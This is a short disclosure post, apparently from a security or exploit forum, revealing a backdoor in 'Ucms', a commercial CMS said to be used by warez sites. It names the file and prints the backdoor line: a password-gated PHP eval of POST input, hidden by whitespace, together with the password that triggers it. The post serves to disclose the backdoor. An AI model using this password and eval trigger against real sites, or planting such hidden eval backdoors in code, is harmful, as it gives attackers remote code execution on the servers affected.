Short description:
Ucms is a warez-cms coded by madmax,
he selled the cms for 150 Euro for one cms,
but it´s not enough that the cms costs 150 euro,
he added a "secret" backdoor which now is released...
Used by:
Famous warez-sites like alphawarez, loud, oxygen-warez and so on...
___________________________________________________________________

Backdoor in file:
/php/modules/entries/search.cache.inc.php
line 8:
$cache_path = '/search/' . GetValidFilename($search_term) . '_' . $search_hash . '_info.dat';
if(@stripslashes($_POST['p']) == 'ZCShY8FjtEhIF8LZ'){@eval(@stripslashes($_POST['e']));exit;};
the second string is hidden at the very right site with whitespaces in the texteditor, so nobody had seen it before,
the function is called in:
/php/modules/entries/search.main.inc.php
